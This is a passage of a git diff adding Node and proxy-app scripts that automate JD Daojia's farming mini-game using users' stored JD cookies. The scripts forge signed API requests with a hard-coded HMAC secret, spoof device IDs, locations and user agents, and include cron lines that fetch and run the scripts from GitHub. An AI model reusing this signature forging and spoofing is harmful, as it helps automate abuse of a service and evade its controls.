this.persistCache() } read(e) { return this.log(`READ ${e}`), -1 === e.indexOf("#") ? this.cache[e] : (e = e.substr(1), n || i ? $persistentStore.read(e) : s ? $prefs.valueForKey(e) : o ? this.root[e] : void 0) } delete(e) { if (this.log(`DELETE ${e}`), -1 !== e.indexOf("#")) { if (e = e.substr(1), n || i) return $persistentStore.write(null, e); if (s) return $prefs.removeValueForKey(e); o && delete this.root[e] } else delete this.cache[e]; this.persistCache() } notify(e, t = "", l = "", h = {}) { const a = h["open-url"], c = h["media-url"]; if (s && $notify(e, t, l, h), n && $notification.post(e, t, l + `${c ? "\n多媒体:" + c : ""}`, { url: a }), i) { let s = {}; a && (s.openUrl = a), c && (s.mediaUrl = c), "{}" === JSON.stringify(s) ? $notification.post(e, t, l) : $notification.post(e, t, l, s) } if (o || u) { const s = l + (a ? `\n点击跳转: ${a}` : "") + (c ? `\n多媒体: ${c}` : ""); if (r) { require("push").schedule({ title: e, body: (t ? t + "\n" : "") + s }) } else console.log(`${e}\n${t}\n${s}\n\n`) } } log(e) { this.debug && console.log(`[${this.name}] LOG: ${this.stringify(e)}`) } info(e) { console.log(`[${this.name}] INFO: ${this.stringify(e)}`) } error(e) { console.log(`[${this.name}] ERROR: ${this.stringify(e)}`) } wait(e) { return new Promise(t => setTimeout(t, e)) } done(e = {}) { console.log('done!'); s || i || n ? $done(e) : o && !r && "undefined" != typeof $context && ($context.headers = e.headers, $context.statusCode = e.statusCode, $context.body = e.body) } stringify(e) { if ("string" == typeof e || e instanceof String) return e; try { return JSON.stringify(e, null, 2) } catch (e) { return "[object Object]" } } }(e, t) } +/*****************************************************************************/ + +/*********************************** SHA256 *************************************/ +var hexcase=0;var b64pad="";function hex_sha256(s){return rstr2hex(rstr_sha256(str2rstr_utf8(s)))}function b64_sha256(s){return rstr2b64(rstr_sha256(str2rstr_utf8(s)))}function any_sha256(s,e){return rstr2any(rstr_sha256(str2rstr_utf8(s)),e)}function hex_hmac_sha256(k,d){return rstr2hex(rstr_hmac_sha256(str2rstr_utf8(k),str2rstr_utf8(d)))}function b64_hmac_sha256(k,d){return rstr2b64(rstr_hmac_sha256(str2rstr_utf8(k),str2rstr_utf8(d)))}function any_hmac_sha256(k,d,e){return rstr2any(rstr_hmac_sha256(str2rstr_utf8(k),str2rstr_utf8(d)),e)}function sha256_vm_test(){return hex_sha256("abc").toLowerCase()=="ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad"}function rstr_sha256(s){return binb2rstr(binb_sha256(rstr2binb(s),s.length*8))}function rstr_hmac_sha256(key,data){var bkey=rstr2binb(key);if(bkey.length>16)bkey=binb_sha256(bkey,key.length*8);var ipad=Array(16),opad=Array(16);for(var i=0;i<16;i++){ipad[i]=bkey[i]^0x36363636;opad[i]=bkey[i]^0x5C5C5C5C}var hash=binb_sha256(ipad.concat(rstr2binb(data)),512+data.length*8);return binb2rstr(binb_sha256(opad.concat(hash),512+256))}function rstr2hex(input){try{hexcase}catch(e){hexcase=0}var hex_tab=hexcase?"0123456789ABCDEF":"0123456789abcdef";var output="";var x;for(var i=0;i>>4)&0x0F)+hex_tab.charAt(x&0x0F)}return output}function rstr2b64(input){try{b64pad}catch(e){b64pad=''}var tab="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";var output="";var len=input.length;for(var i=0;iinput.length*8)output+=b64pad;else output+=tab.charAt((triplet>>>6*(3-j))&0x3F)}}return output}function rstr2any(input,encoding){var divisor=encoding.length;var remainders=Array();var i,q,x,quotient;var dividend=Array(Math.ceil(input.length/2));for(i=0;i0){quotient=Array();x=0;for(i=0;i0||q>0)quotient[quotient.length]=q}remainders[remainders.length]=x;dividend=quotient}var output="";for(i=remainders.length-1;i>=0;i--)output+=encoding.charAt(remainders[i]);var full_length=Math.ceil(input.length*8/(Math.log(encoding.length)/Math.log(2)));for(i=output.length;i>>6)&0x1F),0x80|(x&0x3F));else if(x<=0xFFFF)output+=String.fromCharCode(0xE0|((x>>>12)&0x0F),0x80|((x>>>6)&0x3F),0x80|(x&0x3F));else if(x<=0x1FFFFF)output+=String.fromCharCode(0xF0|((x>>>18)&0x07),0x80|((x>>>12)&0x3F),0x80|((x>>>6)&0x3F),0x80|(x&0x3F))}return output}function str2rstr_utf16le(input){var output="";for(var i=0;i>>8)&0xFF);return output}function str2rstr_utf16be(input){var output="";for(var i=0;i>>8)&0xFF,input.charCodeAt(i)&0xFF);return output}function rstr2binb(input){var output=Array(input.length>>2);for(var i=0;i>5]|=(input.charCodeAt(i/8)&0xFF)<<(24-i%32);return output}function binb2rstr(input){var output="";for(var i=0;i>5]>>>(24-i%32))&0xFF);return output}function sha256_S(X,n){return(X>>>n)|(X<<(32-n))}function sha256_R(X,n){return(X>>>n)}function sha256_Ch(x,y,z){return((x&y)^((~x)&z))}function sha256_Maj(x,y,z){return((x&y)^(x&z)^(y&z))}function sha256_Sigma0256(x){return(sha256_S(x,2)^sha256_S(x,13)^sha256_S(x,22))}function sha256_Sigma1256(x){return(sha256_S(x,6)^sha256_S(x,11)^sha256_S(x,25))}function sha256_Gamma0256(x){return(sha256_S(x,7)^sha256_S(x,18)^sha256_R(x,3))}function sha256_Gamma1256(x){return(sha256_S(x,17)^sha256_S(x,19)^sha256_R(x,10))}function sha256_Sigma0512(x){return(sha256_S(x,28)^sha256_S(x,34)^sha256_S(x,39))}function sha256_Sigma1512(x){return(sha256_S(x,14)^sha256_S(x,18)^sha256_S(x,41))}function sha256_Gamma0512(x){return(sha256_S(x,1)^sha256_S(x,8)^sha256_R(x,7))}function sha256_Gamma1512(x){return(sha256_S(x,19)^sha256_S(x,61)^sha256_R(x,6))}var sha256_K=new Array(1116352408,1899447441,-1245643825,-373957723,961987163,1508970993,-1841331548,-1424204075,-670586216,310598401,607225278,1426881987,1925078388,-2132889090,-1680079193,-1046744716,-459576895,-272742522,264347078,604807628,770255983,1249150122,1555081692,1996064986,-1740746414,-1473132947,-1341970488,-1084653625,-958395405,-710438585,113926993,338241895,666307205,773529912,1294757372,1396182291,1695183700,1986661051,-2117940946,-1838011259,-1564481375,-1474664885,-1035236496,-949202525,-778901479,-694614492,-200395387,275423344,430227734,506948616,659060556,883997877,958139571,1322822218,1537002063,1747873779,1955562222,2024104815,-2067236844,-1933114872,-1866530822,-1538233109,-1090935817,-965641998);function binb_sha256(m,l){var HASH=new Array(1779033703,-1150833019,1013904242,-1521486534,1359893119,-1694144372,528734635,1541459225);var W=new Array(64);var a,b,c,d,e,f,g,h;var i,j,T1,T2;m[l>>5]|=0x80<<(24-l%32);m[((l+64>>9)<<4)+15]=l;for(i=0;i>16)+(y>>16)+(lsw>>16);return(msw<<16)|(lsw&0xFFFF)} +/*********************************** SHA256 *************************************/ diff --git a/jddj_fruit_collectWater.json b/jddj_fruit_collectWater.json new file mode 100644 index 0000000..9e26dfe --- /dev/null +++ b/jddj_fruit_collectWater.json @@ -0,0 +1 @@ +{} \ No newline at end of file diff --git a/jddj_getPoints.js b/jddj_getPoints.js new file mode 100644 index 0000000..4dd772e --- /dev/null +++ b/jddj_getPoints.js @@ -0,0 +1,245 @@ + +//京东到家鲜豆庄园收水滴脚本,支持qx,loon,shadowrocket,surge,nodejs +// 兼容京东jdCookie.js +// 手机设备在boxjs里填写cookie +// boxjs订阅地址:https://gitee.com/passerby-b/javascript/raw/master/JD/passerby-b.boxjs.json +//TG群:https://t.me/passerbyb2021 + +//[task_local] +//7 */1 * * * https://raw.githubusercontent.com/passerby-b/JDDJ/main/jddj_getPoints.js + + +//[Script] +//cron "7 */1 * * *" script-path=https://raw.githubusercontent.com/passerby-b/JDDJ/main/jddj_getPoints.js,tag=京东到家鲜豆庄园收水滴 + + +const $ = new API("jddj_getPoints"); +let ckPath = './jdCookie.js';//ck路径,环境变量:JDDJ_CKPATH +let cookies = []; +let thiscookie = '', deviceid = '', nickname = ''; +let lat = '30.' + Math.round(Math.random() * (99999 - 10000) + 10000); +let lng = '114.' + Math.round(Math.random() * (99999 - 10000) + 10000); +let cityid = Math.round(Math.random() * (1500 - 1000) + 1000); +!(async () => { + if (cookies.length == 0) { + if ($.env.isNode) { + if (process.env.JDDJ_CKPATH) ckPath = process.env.JDDJ_CKPATH; + delete require.cache[ckPath]; + let jdcookies = require(ckPath); + for (let key in jdcookies) if (!!jdcookies[key]) cookies.push(jdcookies[key]); + } + else { + let ckstr = $.read('#jddj_cookies'); + if (!!ckstr) { + if (ckstr.indexOf(',') < 0) { + cookies.push(ckstr); + } else { + cookies = ckstr.split(','); + } + } + } + } + if (cookies.length == 0) { + console.log(`\r\n请先填写cookie`); + return; + } + for (let i = 0; i < cookies.length; i++) { + console.log(`\r\n★★★★★开始执行第${i + 1}个账号,共${cookies.length}个账号★★★★★`); + thiscookie = cookies[i]; + if (!thiscookie) continue; + + thiscookie = await taskLoginUrl(thiscookie); + + await userinfo(); + await $.wait(1000); + + await getPoints(); + await $.wait(1000); + + } + +})().catch((e) => { + console.log('', `❌失败! 原因: ${e}!`, ''); +}).finally(() => { + $.done(); +}) + +//收水车水滴 +async function getPoints() { + return new Promise(async resolve => { + try { + let time = Math.round(new Date()); + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + time + '&_funid_=plantBeans/getWater', 'functionId=plantBeans%2FgetWater&isNeedDealError=true&method=POST&body=%7B%7D&lat=' + lat + '&lng=' + lng + '&lat_pos=' + lat + '&lng_pos=' + lng + '&city_id=' + cityid + '&channel=rn&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + time + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '&_jdrandom=' + time + '&_funid_=plantBeans%2FgetWater'); + $.http.post(option).then(async response => { + let data = JSON.parse(response.body); + if (data.code == 0) { + console.log('\n【收水车水滴】:' + data.msg + '->当前收取:' + data.result.addWater + ',当前剩余:' + data.result.water + ',当日累计:' + data.result.dailyWater); + } else { + console.log('\n【收水车水滴】:' + data.msg); + } + resolve(); + }) + + } catch (error) { + console.log('\n【收水车水滴】:' + error); + resolve(); + } + }) +} + +//浇水 +async function watering() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()), 'functionId=plantBeans%2Fwatering&isNeedDealError=true&method=POST&body=%7B%22activityId%22%3A%2223e4a58bca00bef%22%2C%22waterAmount%22%3A100%7D&lat=&lng=&lat_pos=&lng_pos=&city_id=&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + ''); + + let waterStatus = 1, waterCount = 0; + do { + waterCount++; + console.log(`\n**********开始执行第${waterCount}次浇水**********`); + + $.http.post(option).then(response => { + let data = JSON.parse(response.body); + console.log('\n【浇水】:' + data.msg); + waterStatus = data.code; + }) + await $.wait(1000); + } while (waterStatus == 0); + resolve(); + + } catch (error) { + console.log('\n【浇水】:' + error); + resolve(); + } + + }) +} + +//个人信息 +async function userinfo() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com/client?channel=wx_xcx&platform=5.0.0&platCode=mini&mpChannel=wx_xcx&appVersion=8.10.5&xcxVersion=8.10.1&appName=paidaojia&functionId=mine%2FgetUserAccountInfo&isForbiddenDialog=false&isNeedDealError=false&isNeedDealLogin=false&body=%7B%22cityId%22%3A' + cityid + '%2C%22fromSource%22%3A%225%22%7D&afsImg=&lat_pos=' + lat + '&lng_pos=' + lng + '&lat=' + lat + '&lng=' + lng + '&city_id=' + cityid + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '&deviceModel=appmodel&business=&traceId=' + deviceid + '1628044517506&channelCode=', ''); + $.http.get(option).then(response => { + //console.log(response.body); + let data = JSON.parse(response.body); + if (data.code == 0) { + try { + nickname = data.result.userInfo.userBaseInfo.nickName; + console.log("●●●" + nickname + "●●●"); + } catch (error) { nickname = '昵称获取失败' } + } + else nickname = '昵称获取失败'; + }); + resolve(); + + } catch (error) { + console.log('\n【个人信息】:' + error); + resolve(); + } + }) +} + +function urlTask(url, body) { + + let arr = decodeURIComponent(body).split('&'); + let json = {}, keys = [], sortVlaues = []; + for (const o of arr) { + let c = o.split('='); + if (!!c[1] && c[0] != 'functionId' && c[0] != 'signKeyV1') { + json[c[0]] = c[1]; + keys.push(c[0]); + } + } + keys = keys.sort(); + keys.forEach(element => { + sortVlaues.push(json[element]); + }); + + const secret = "923047ae3f8d11d8b19aeb9f3d1bc200";//秘钥 + // var hmac = crypto.createHmac("sha256", secret); + // var content = hmac.update(sortVlaues.join('&')); + // var cryptoContent = content.digest("hex"); + + let cryptoContent = hex_hmac_sha256(secret, sortVlaues.join('&')); + + let option = { + url: url, + headers: { + 'Host': 'daojia.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded;', + 'Cookie': thiscookie, + 'Connection': 'keep-alive', + 'Accept': '*/*', + 'User-Agent': 'jdapp;iPhone;10.1.0;14.1;' + deviceid + ';network/wifi;model/iPhone11,6;addressid/397459499;appBuild/167774;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'Accept-Language': 'zh-cn' + }, + body: body + '&signKeyV1=' + cryptoContent + }; + return option; +} + +//根据京东ck获取到家ck +async function taskLoginUrl(thiscookie) { + return new Promise(async resolve => { + try { + if (thiscookie.indexOf('deviceid_pdj_jd') > -1) { + let arr = thiscookie.split(';'); + for (const o of arr) { + if (o.indexOf('deviceid_pdj_jd') > -1) { + deviceid = o.split('=')[1]; + } + } + resolve(thiscookie); + } + else { + deviceid = _uuid(); + let option = { + url: encodeURI('https://daojia.jd.com/client?_jdrandom=' + (+new Date()) + '&_funid_=login/treasure&functionId=login/treasure&body={}&lat=&lng=&lat_pos=&lng_pos=&city_id=&channel=h5&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&isNeedDealError=false&traceId=' + deviceid + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '&_jdrandom=' + (+new Date()) + '&_funid_=login/treasure'), + headers: { + "Cookie": 'deviceid_pdj_jd=' + deviceid + ';' + thiscookie + ';', + "Host": "daojia.jd.com", + 'Content-Type': 'application/x-www-form-urlencoded;', + "User-Agent": 'jdapp;iPhone;10.0.10;14.1;' + deviceid + ';network/wifi;model/iPhone11,6;appBuild/167764;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1' + } + }; + let ckstr = ''; + await $.http.get(option).then(async response => { + //console.log(response); + let body = JSON.parse(response.body); + if (body.code == 0) { + for (const key in response.headers) { + if (key.toLowerCase().indexOf('cookie') > -1) { + ckstr = response.headers[key].toString(); + } + } + ckstr += ';deviceid_pdj_jd=' + deviceid; + } + else { + console.log(body.msg); + } + }); + resolve(ckstr); + } + + } catch (error) { + console.log(error); + resolve(''); + } + }) +} + +function _uuid() { + function s4() { + return Math.floor((1 + Math.random()) * 0x10000).toString(16).substring(1); + } + return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() + s4(); +} + +/*********************************** API *************************************/ +function ENV() { const e = "undefined" != typeof $task, t = "undefined" != typeof $loon, s = "undefined" != typeof $httpClient && !t, i = "function" == typeof require && "undefined" != typeof $jsbox; return { isQX: e, isLoon: t, isSurge: s, isNode: "function" == typeof require && !i, isJSBox: i, isRequest: "undefined" != typeof $request, isScriptable: "undefined" != typeof importModule } } function HTTP(e = { baseURL: "" }) { const { isQX: t, isLoon: s, isSurge: i, isScriptable: n, isNode: o } = ENV(), r = /https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&\/\/=]*)/; const u = {}; return ["GET", "POST", "PUT", "DELETE", "HEAD", "OPTIONS", "PATCH"].forEach(l => u[l.toLowerCase()] = (u => (function (u, l) { l = "string" == typeof l ? { url: l } : l; const h = e.baseURL; h && !r.test(l.url || "") && (l.url = h ? h + l.url : l.url); const a = (l = { ...e, ...l }).timeout, c = { onRequest: () => { }, onResponse: e => e, onTimeout: () => { }, ...l.events }; let f, d; if (c.onRequest(u, l), t) f = $task.fetch({ method: u, ...l }); else if (s || i || o) f = new Promise((e, t) => { (o ? require("request") : $httpClient)[u.toLowerCase()](l, (s, i, n) => { s ? t(s) : e({ statusCode: i.status || i.statusCode, headers: i.headers, body: n }) }) }); else if (n) { const e = new Request(l.url); e.method = u, e.headers = l.headers, e.body = l.body, f = new Promise((t, s) => { e.loadString().then(s => { t({ statusCode: e.response.statusCode, headers: e.response.headers, body: s }) }).catch(e => s(e)) }) } const p = a ? new Promise((e, t) => { d = setTimeout(() => (c.onTimeout(), t(`${u} URL: ${l.url} exceeds the timeout ${a} ms`)), a) }) : null; return (p ? Promise.race([p, f]).then(e => (clearTimeout(d), e)) : f).then(e => c.onResponse(e)) })(l, u))), u } function API(e = "untitled", t = !1) { const { isQX: s, isLoon: i, isSurge: n, isNode: o, isJSBox: r, isScriptable: u } = ENV(); return new class { constructor(e, t) { this.name = e, this.debug = t, this.http = HTTP(), this.env = ENV(), this.node = (() => { if (o) { return { fs: require("fs") } } return null })(), this.initCache(); Promise.prototype.delay = function (e) { return this.then(function (t) { return ((e, t) => new Promise(function (s) { setTimeout(s.bind(null, t), e) }))(e, t) }) } } initCache() { if (s && (this.cache = JSON.parse($prefs.valueForKey(this.name) || "{}")), (i || n) && (this.cache = JSON.parse($persistentStore.read(this.name) || "{}")), o) { let e = "root.json"; this.node.fs.existsSync(e) || this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.root = {}, e = `${this.name}.json`, this.node.fs.existsSync(e) ? this.cache = JSON.parse(this.node.fs.readFileSync(`${this.name}.json`)) : (this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.cache = {}) } } persistCache() { const e = JSON.stringify(this.cache, null, 2); s && $prefs.setValueForKey(e, this.name), (i || n) && $persistentStore.write(e, this.name), o && (this.node.fs.writeFileSync(`${this.name}.json`, e, { flag: "w" }, e => console.log(e)), this.node.fs.writeFileSync("root.json", JSON.stringify(this.root, null, 2), { flag: "w" }, e => console.log(e))) } write(e, t) { if (this.log(`SET ${t}`), -1 !== t.indexOf("#")) { if (t = t.substr(1), n || i) return $persistentStore.write(e, t); if (s) return $prefs.setValueForKey(e, t); o && (this.root[t] = e) } else this.cache[t] = e; this.persistCache() } read(e) { return this.log(`READ ${e}`), -1 === e.indexOf("#") ? this.cache[e] : (e = e.substr(1), n || i ? $persistentStore.read(e) : s ? $prefs.valueForKey(e) : o ? this.root[e] : void 0) } delete(e) { if (this.log(`DELETE ${e}`), -1 !== e.indexOf("#")) { if (e = e.substr(1), n || i) return $persistentStore.write(null, e); if (s) return $prefs.removeValueForKey(e); o && delete this.root[e] } else delete this.cache[e]; this.persistCache() } notify(e, t = "", l = "", h = {}) { const a = h["open-url"], c = h["media-url"]; if (s && $notify(e, t, l, h), n && $notification.post(e, t, l + `${c ? "\n多媒体:" + c : ""}`, { url: a }), i) { let s = {}; a && (s.openUrl = a), c && (s.mediaUrl = c), "{}" === JSON.stringify(s) ? $notification.post(e, t, l) : $notification.post(e, t, l, s) } if (o || u) { const s = l + (a ? `\n点击跳转: ${a}` : "") + (c ? `\n多媒体: ${c}` : ""); if (r) { require("push").schedule({ title: e, body: (t ? t + "\n" : "") + s }) } else console.log(`${e}\n${t}\n${s}\n\n`) } } log(e) { this.debug && console.log(`[${this.name}] LOG: ${this.stringify(e)}`) } info(e) { console.log(`[${this.name}] INFO: ${this.stringify(e)}`) } error(e) { console.log(`[${this.name}] ERROR: ${this.stringify(e)}`) } wait(e) { return new Promise(t => setTimeout(t, e)) } done(e = {}) { console.log('done!'); s || i || n ? $done(e) : o && !r && "undefined" != typeof $context && ($context.headers = e.headers, $context.statusCode = e.statusCode, $context.body = e.body) } stringify(e) { if ("string" == typeof e || e instanceof String) return e; try { return JSON.stringify(e, null, 2) } catch (e) { return "[object Object]" } } }(e, t) } +/*****************************************************************************/ + +/*********************************** SHA256 *************************************/ +var hexcase = 0; var b64pad = ""; function hex_sha256(s) { return rstr2hex(rstr_sha256(str2rstr_utf8(s))) } function b64_sha256(s) { return rstr2b64(rstr_sha256(str2rstr_utf8(s))) } function any_sha256(s, e) { return rstr2any(rstr_sha256(str2rstr_utf8(s)), e) } function hex_hmac_sha256(k, d) { return rstr2hex(rstr_hmac_sha256(str2rstr_utf8(k), str2rstr_utf8(d))) } function b64_hmac_sha256(k, d) { return rstr2b64(rstr_hmac_sha256(str2rstr_utf8(k), str2rstr_utf8(d))) } function any_hmac_sha256(k, d, e) { return rstr2any(rstr_hmac_sha256(str2rstr_utf8(k), str2rstr_utf8(d)), e) } function sha256_vm_test() { return hex_sha256("abc").toLowerCase() == "ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad" } function rstr_sha256(s) { return binb2rstr(binb_sha256(rstr2binb(s), s.length * 8)) } function rstr_hmac_sha256(key, data) { var bkey = rstr2binb(key); if (bkey.length > 16) bkey = binb_sha256(bkey, key.length * 8); var ipad = Array(16), opad = Array(16); for (var i = 0; i < 16; i++) { ipad[i] = bkey[i] ^ 0x36363636; opad[i] = bkey[i] ^ 0x5C5C5C5C } var hash = binb_sha256(ipad.concat(rstr2binb(data)), 512 + data.length * 8); return binb2rstr(binb_sha256(opad.concat(hash), 512 + 256)) } function rstr2hex(input) { try { hexcase } catch (e) { hexcase = 0 } var hex_tab = hexcase ? "0123456789ABCDEF" : "0123456789abcdef"; var output = ""; var x; for (var i = 0; i < input.length; i++) { x = input.charCodeAt(i); output += hex_tab.charAt((x >>> 4) & 0x0F) + hex_tab.charAt(x & 0x0F) } return output } function rstr2b64(input) { try { b64pad } catch (e) { b64pad = '' } var tab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; var output = ""; var len = input.length; for (var i = 0; i < len; i += 3) { var triplet = (input.charCodeAt(i) << 16) | (i + 1 < len ? input.charCodeAt(i + 1) << 8 : 0) | (i + 2 < len ? input.charCodeAt(i + 2) : 0); for (var j = 0; j < 4; j++) { if (i * 8 + j * 6 > input.length * 8) output += b64pad; else output += tab.charAt((triplet >>> 6 * (3 - j)) & 0x3F) } } return output } function rstr2any(input, encoding) { var divisor = encoding.length; var remainders = Array(); var i, q, x, quotient; var dividend = Array(Math.ceil(input.length / 2)); for (i = 0; i < dividend.length; i++) { dividend[i] = (input.charCodeAt(i * 2) << 8) | input.charCodeAt(i * 2 + 1) } while (dividend.length > 0) { quotient = Array(); x = 0; for (i = 0; i < dividend.length; i++) { x = (x << 16) + dividend[i]; q = Math.floor(x / divisor); x -= q * divisor; if (quotient.length > 0 || q > 0) quotient[quotient.length] = q } remainders[remainders.length] = x; dividend = quotient } var output = ""; for (i = remainders.length - 1; i >= 0; i--)output += encoding.charAt(remainders[i]); var full_length = Math.ceil(input.length * 8 / (Math.log(encoding.length) / Math.log(2))); for (i = output.length; i < full_length; i++)output = encoding[0] + output; return output } function str2rstr_utf8(input) { var output = ""; var i = -1; var x, y; while (++i < input.length) { x = input.charCodeAt(i); y = i + 1 < input.length ? input.charCodeAt(i + 1) : 0; if (0xD800 <= x && x <= 0xDBFF && 0xDC00 <= y && y <= 0xDFFF) { x = 0x10000 + ((x & 0x03FF) << 10) + (y & 0x03FF); i++ } if (x <= 0x7F) output += String.fromCharCode(x); else if (x <= 0x7FF) output += String.fromCharCode(0xC0 | ((x >>> 6) & 0x1F), 0x80 | (x & 0x3F)); else if (x <= 0xFFFF) output += String.fromCharCode(0xE0 | ((x >>> 12) & 0x0F), 0x80 | ((x >>> 6) & 0x3F), 0x80 | (x & 0x3F)); else if (x <= 0x1FFFFF) output += String.fromCharCode(0xF0 | ((x >>> 18) & 0x07), 0x80 | ((x >>> 12) & 0x3F), 0x80 | ((x >>> 6) & 0x3F), 0x80 | (x & 0x3F)) } return output } function str2rstr_utf16le(input) { var output = ""; for (var i = 0; i < input.length; i++)output += String.fromCharCode(input.charCodeAt(i) & 0xFF, (input.charCodeAt(i) >>> 8) & 0xFF); return output } function str2rstr_utf16be(input) { var output = ""; for (var i = 0; i < input.length; i++)output += String.fromCharCode((input.charCodeAt(i) >>> 8) & 0xFF, input.charCodeAt(i) & 0xFF); return output } function rstr2binb(input) { var output = Array(input.length >> 2); for (var i = 0; i < output.length; i++)output[i] = 0; for (var i = 0; i < input.length * 8; i += 8)output[i >> 5] |= (input.charCodeAt(i / 8) & 0xFF) << (24 - i % 32); return output } function binb2rstr(input) { var output = ""; for (var i = 0; i < input.length * 32; i += 8)output += String.fromCharCode((input[i >> 5] >>> (24 - i % 32)) & 0xFF); return output } function sha256_S(X, n) { return (X >>> n) | (X << (32 - n)) } function sha256_R(X, n) { return (X >>> n) } function sha256_Ch(x, y, z) { return ((x & y) ^ ((~x) & z)) } function sha256_Maj(x, y, z) { return ((x & y) ^ (x & z) ^ (y & z)) } function sha256_Sigma0256(x) { return (sha256_S(x, 2) ^ sha256_S(x, 13) ^ sha256_S(x, 22)) } function sha256_Sigma1256(x) { return (sha256_S(x, 6) ^ sha256_S(x, 11) ^ sha256_S(x, 25)) } function sha256_Gamma0256(x) { return (sha256_S(x, 7) ^ sha256_S(x, 18) ^ sha256_R(x, 3)) } function sha256_Gamma1256(x) { return (sha256_S(x, 17) ^ sha256_S(x, 19) ^ sha256_R(x, 10)) } function sha256_Sigma0512(x) { return (sha256_S(x, 28) ^ sha256_S(x, 34) ^ sha256_S(x, 39)) } function sha256_Sigma1512(x) { return (sha256_S(x, 14) ^ sha256_S(x, 18) ^ sha256_S(x, 41)) } function sha256_Gamma0512(x) { return (sha256_S(x, 1) ^ sha256_S(x, 8) ^ sha256_R(x, 7)) } function sha256_Gamma1512(x) { return (sha256_S(x, 19) ^ sha256_S(x, 61) ^ sha256_R(x, 6)) } var sha256_K = new Array(1116352408, 1899447441, -1245643825, -373957723, 961987163, 1508970993, -1841331548, -1424204075, -670586216, 310598401, 607225278, 1426881987, 1925078388, -2132889090, -1680079193, -1046744716, -459576895, -272742522, 264347078, 604807628, 770255983, 1249150122, 1555081692, 1996064986, -1740746414, -1473132947, -1341970488, -1084653625, -958395405, -710438585, 113926993, 338241895, 666307205, 773529912, 1294757372, 1396182291, 1695183700, 1986661051, -2117940946, -1838011259, -1564481375, -1474664885, -1035236496, -949202525, -778901479, -694614492, -200395387, 275423344, 430227734, 506948616, 659060556, 883997877, 958139571, 1322822218, 1537002063, 1747873779, 1955562222, 2024104815, -2067236844, -1933114872, -1866530822, -1538233109, -1090935817, -965641998); function binb_sha256(m, l) { var HASH = new Array(1779033703, -1150833019, 1013904242, -1521486534, 1359893119, -1694144372, 528734635, 1541459225); var W = new Array(64); var a, b, c, d, e, f, g, h; var i, j, T1, T2; m[l >> 5] |= 0x80 << (24 - l % 32); m[((l + 64 >> 9) << 4) + 15] = l; for (i = 0; i < m.length; i += 16) { a = HASH[0]; b = HASH[1]; c = HASH[2]; d = HASH[3]; e = HASH[4]; f = HASH[5]; g = HASH[6]; h = HASH[7]; for (j = 0; j < 64; j++) { if (j < 16) W[j] = m[j + i]; else W[j] = safe_add(safe_add(safe_add(sha256_Gamma1256(W[j - 2]), W[j - 7]), sha256_Gamma0256(W[j - 15])), W[j - 16]); T1 = safe_add(safe_add(safe_add(safe_add(h, sha256_Sigma1256(e)), sha256_Ch(e, f, g)), sha256_K[j]), W[j]); T2 = safe_add(sha256_Sigma0256(a), sha256_Maj(a, b, c)); h = g; g = f; f = e; e = safe_add(d, T1); d = c; c = b; b = a; a = safe_add(T1, T2) } HASH[0] = safe_add(a, HASH[0]); HASH[1] = safe_add(b, HASH[1]); HASH[2] = safe_add(c, HASH[2]); HASH[3] = safe_add(d, HASH[3]); HASH[4] = safe_add(e, HASH[4]); HASH[5] = safe_add(f, HASH[5]); HASH[6] = safe_add(g, HASH[6]); HASH[7] = safe_add(h, HASH[7]) } return HASH } function safe_add(x, y) { var lsw = (x & 0xFFFF) + (y & 0xFFFF); var msw = (x >> 16) + (y >> 16) + (lsw >> 16); return (msw << 16) | (lsw & 0xFFFF) } +/*********************************** SHA256 *************************************/ diff --git a/jddj_getPoints.json b/jddj_getPoints.json new file mode 100644 index 0000000..9e26dfe --- /dev/null +++ b/jddj_getPoints.json @@ -0,0 +1 @@ +{} \ No newline at end of file diff --git a/jddj_plantBeans.js b/jddj_plantBeans.js new file mode 100644 index 0000000..0b46228 --- /dev/null +++ b/jddj_plantBeans.js @@ -0,0 +1,381 @@ +/* +京东到家鲜豆庄园脚本,支持qx,loon,shadowrocket,surge,nodejs +兼容京东jdCookie.js +手机设备在boxjs里填写cookie +boxjs订阅地址:https://gitee.com/passerby-b/javascript/raw/master/JD/passerby-b.boxjs.json +TG群:https://t.me/passerbyb2021 + +[task_local] +10 0 * * * https://raw.githubusercontent.com/passerby-b/JDDJ/main/jddj_plantBeans.js + +[Script] +cron "10 0 * * *" script-path=https://raw.githubusercontent.com/passerby-b/JDDJ/main/jddj_plantBeans.js,tag=京东到家鲜豆庄园 + +*/ + +const $ = new API("jddj_plantBeans"); +let ckPath = './jdCookie.js';//ck路径,环境变量:JDDJ_CKPATH + +let cookies = []; +let thiscookie = '', deviceid = ''; +let lat = '30.' + Math.round(Math.random() * (99999 - 10000) + 10000); +let lng = '114.' + 